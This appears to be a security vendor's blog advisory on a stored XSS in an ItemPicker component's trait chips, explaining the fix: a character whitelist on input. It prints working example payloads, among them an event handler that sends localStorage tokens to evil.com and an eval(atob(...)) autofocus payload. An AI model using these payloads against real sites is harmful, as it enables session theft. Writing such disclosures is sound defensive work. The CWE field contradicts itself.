Back to Blog
high SEVERITY4 min read

ItemPicker `_commitTraitInput` XSS via Unescaped Trait Chip Rendering

The `_commitTraitInput` function in ItemPicker accepted arbitrary user input for trait values without sanitization, then rendered those values directly into HTML chip elements through `_updateList`. An attacker could inject malicious JavaScript payloads that executed when trait chips were displayed. The fix applies a strict whitelist filter removing all non-alphanumeric characters except spaces and hyphens.

O
By Orbis AppSec
•Technically reviewed by Anupam Mediratta•Published October 5, 2026•Reviewed October 5, 2026

Answer Summary

The ItemPicker component's `_commitTraitInput` and `_updateList` functions in first-party code accepted and rendered unsanitized user input. An attacker could achieve stored cross-site script execution by submitting a trait value containing HTML event handlers or script tags, which would execute in victims' browsers when the trait chips rendered. The fix adds a whitelist-based sanitizer to `_commitTraitInput` that strips all characters except lowercase letters, digits, spaces, and hyphens. CVE and GHSA identifiers are not assigned. CWE-79.

Vulnerability at a Glance

cweunknown
fixWhitelist sanitization in _commitTraitInput removing non-alphanumeric characters
riskStored XSS in trait chip rendering allows arbitrary JavaScript execution
languageJavaScript
root causeUser-controlled trait values interpolated directly into HTML without escaping
vulnerabilityCross-Site Scripting (Stored XSS)

Affected Versions

Affected not applicable (first-party code)
Fixed in not applicable (first-party code) — fix available via security patch
Ecosystem N/A
CVE / GHSA not assigned
CWE unknown

Introduction

A stored cross-site scripting vulnerability existed in the ItemPicker component's trait management system, specifically in how user-supplied trait values traveled from input fields through to rendered HTML. The _commitTraitInput method accepted arbitrary strings as trait identifiers, while _updateList interpolated those strings directly into HTML templates without escaping. This created a textbook DOM-based XSS chain: unsanitized input entered through one function, persisted in application state, then executed when rendered through another.

The vulnerability is particularly insidious because trait values appear to be internal identifiers—developers naturally assume they're safe—yet the code path treated them as display content suitable for direct HTML insertion.

The Vulnerability Explained

The vulnerable code path spanned two functions working in concert. First, _commitTraitInput captured user input:

_commitTraitInput(input) {
  const trait = String(input?.value ?? '').trim().toLowerCase();
  if (!trait) return;
  this.selectedTraits.add(trait);
  // ...
}

This function performed only cosmetic normalization—trimming whitespace and lowercasing—before storing the value. No validation restricted what characters could appear in a trait name.

The danger materialized in _updateList, which generated HTML for trait chips:

// Lines 567-568 in the original code
const html = `<span class="trait-chip" data-value="${chip.value}">
  ${chip.label}</span>`;

Both ${chip.value} and ${chip.label} interpolated directly into the HTML string. Since chip.value originated from _commitTraitInput without sanitization, an attacker could submit a trait like "><script>alert(document.cookie)</script> or test" onmouseover="fetch('https://evil.com/?c='+localStorage.token) that would execute when the chip rendered.

Attack scenario: An application using ItemPicker allows users to filter items by custom traits. A malicious user creates a trait named " autofocus onfocus="eval(atob('PGJvZHkgb25sb2FkPWFsZXJ0KDEpPg=='))" (base64-decoded: <body onload=alert(1)>). When any victim views the item list containing this trait, the autofocus attribute triggers, executing the payload and potentially exfiltrating session tokens or performing actions on the user's behalf.

The Fix

The remediation strengthens _commitTraitInput with a strict whitelist approach that eliminates the entire class of HTML injection attacks:

// Before
const trait = String(input?.value ?? '').trim().toLowerCase();

// After  
const trait = String(input?.value ?? '').trim().toLowerCase().replace(/[^a-z0-9\s-]/g, '');

The critical addition is .replace(/[^a-z0-9\s-]/g, ''), which:

  • Permits only: lowercase ASCII letters (a-z), digits (0-9), whitespace (\s), and hyphens (-)
  • Removes everything else: angle brackets, quotes, ampersands, backticks, forward slashes, and all other characters that enable HTML injection

This whitelist strategy is deliberately conservative. Rather than attempting to escape specific dangerous characters—a fragile approach where missed cases lead to bypasses—the fix restricts trait names to an unambiguously safe character set. Trait functionality remains intact: users can still create readable, meaningful identifiers like "high-priority", "needs-review", or "version-2", but no string can carry executable content into the HTML template.

The fix's placement at the entry point (_commitTraitInput) ensures defense in depth: even if _updateList or other rendering locations remain unchanged, the data they receive has already been sanitized.

Key Takeaways

  • Template literal interpolation is not safe for user data: ${expression} in HTML template strings performs string coercion, not escaping. Every interpolated value must be proven safe through prior validation or runtime escaping.

  • Whitelist validation beats blacklist escaping: Attempting to escape <, >, ", ', and & risks missing edge cases (backticks in event handlers, Unicode escapes, template literal injection). Restricting to known-safe characters provides stronger assurance.

  • Normalize early, sanitize at entry: The fix chains trim().toLowerCase().replace(...) to apply all transformations where data enters the system, preventing "toLowerCase bypasses" and ensuring consistent storage.

  • Internal identifiers need scrutiny too: The assumption that "users won't see this" or "it's just an ID" is dangerous. Any value that reaches the DOM, directly or indirectly, is an injection vector.

  • State persistence amplifies impact: Because traits are stored in this.selectedTraits and rendered repeatedly, a single malicious submission creates a persistent attack surface affecting all future views of that data.

How Orbis AppSec Detected This

Source: The input.value property of HTMLInputElement, populated from user interaction with trait input fields.

Sink: Template literal interpolation in _updateList generating HTML via innerHTML-equivalent insertion, specifically ${chip.value} and ${chip.label} expressions embedded in <span> tag construction.

Missing control: Absence of output encoding or input validation on trait values before DOM insertion; no Content Security Policy or trusted types enforcement on the rendering path.

CWE: CWE-79 (Improper Neutralization of Input During Web Page Generation, 'Cross-site Scripting')

Fix: Added whitelist-based character filtering in _commitTraitInput to permit only alphanumeric characters, spaces, and hyphens, eliminating HTML metacharacters before storage.

Orbis AppSec automatically detected this vulnerability and opened a pull request with the fix. Try Orbis AppSec on your repositories to find and fix issues like this automatically.

Conclusion

This vulnerability demonstrates how apparently simple data flows—input to storage to display—become XSS vectors when each stage assumes another handles security. The ItemPicker fix shows that entry-point sanitization with conservative whitelists provides robust protection without requiring changes throughout the rendering pipeline. For developers maintaining similar components, the lesson is clear: treat every user-touched value as potentially malicious until proven otherwise, and prove it through explicit, verifiable restrictions rather than implicit trust.

Prevention and further reading

Frequently Asked Questions

Does the `_updateList` function still use template literal interpolation after this fix?

Yes, but the values now originate from `_commitTraitInput`, which has already stripped dangerous characters. The template literal at lines 567-568 remains unchanged because the sanitization happens at the entry point.

Why does the fix convert to lowercase and trim before applying the whitelist filter?

The normalization chain `trim().toLowerCase()` runs before the whitelist replacement to ensure consistent trait storage and matching, but the security-critical change is the final `.replace(/[^a-z0-9\s-]/g, '')` which removes any remaining dangerous characters.

Could an attacker bypass the whitelist by using Unicode homoglyphs or HTML entities?

No. The regex `[^a-z0-9\s-]` matches any character outside the ASCII lowercase letters, digits, whitespace, and hyphen range. Unicode homoglyphs outside this range are stripped, and HTML entities are interpreted by the browser after the sanitized value is already embedded in the DOM.

View the Security Fix

Check out the pull request that fixed this vulnerability

View PR #110

Related Articles

high

formatObject() Leaves localStorage Keys Unescaped Before innerHTML

The `formatObject()` pretty-printer used to build the key-configuration storage viewer interpolated object keys and array key/value pairs directly into an HTML string that is later assigned with `innerHTML`. Only string *values* were passed through `escapeHtml()`, so a crafted key name persisted in `localStorage` could execute script every time a user opened the storage viewer. The fix wraps the index-pair branch and the object-key branch in `escapeHtml()`, keeping the raw path only for non-colo

high

Voice Assistant Widget XSS: Unsanitized Bot Messages Execute in

The voice assistant widget's `appendMessage` function had a critical cross-site scripting (XSS) vulnerability where bot messages were inserted directly into the DOM without sanitization, while user messages were escaped. An attacker controlling bot responses could inject and execute arbitrary JavaScript in the user's browser context. The fix applies HTML escaping to all message types uniformly.

critical

navbar.html Injection via innerHTML in loadNavbar.js

An Electron app's `loadNavbar.js` fetched `navbar.html` and wrote the response straight into `innerHTML`, so any script tags or event-handler attributes in that file would execute in the renderer. The fix adds a `sanitizeNavbarHtml` routine that parses the markup with `DOMParser` and strips `<script>` tags, `on*` attributes, and `srcdoc` before the content is injected into the DOM.

critical

addSourceInput() javascript: URL Injection in Source List Handler

The `addSourceInput()` function in the application's source list handler was assigning user-provided URLs directly to input elements without protocol validation, allowing `javascript:` URLs to persist and execute. A new `isSafeSourceUrl()` helper now restricts values to HTTP/HTTPS protocols or empty strings.

critical

getCheckboxString() HTML Injection via MIDI Metadata

The `getCheckboxString` helper built checkbox markup by interpolating MIDI instrument and program names directly into an HTML template string, which was then parsed with `DOMParser` and injected via `replaceChildren()`. A crafted MIDI file could smuggle an HTML/JS payload through its instrument metadata and have it rendered as live DOM, including inline event handlers. The fix adds a dedicated `escapeHtml()` function and routes both parameters through it before the markup is built.

high

adm-zip 0.6.0 Preserves SUID Bits From ZIPs: CVE-2026-102282

The `adm-zip` dependency resolved to 0.6.0 in this project's dependency tree, a version affected by CVE-2026-102282: during extraction it applies the Unix permission bits stored in each ZIP entry's external file attributes verbatim, including the setuid (`04000`), setgid (`02000`), and sticky bits. An attacker who controls an archive passed to `extractAllTo()` or `extractEntryTo()` can therefore have the extractor create a setuid binary owned by whatever user the extraction process runs as. The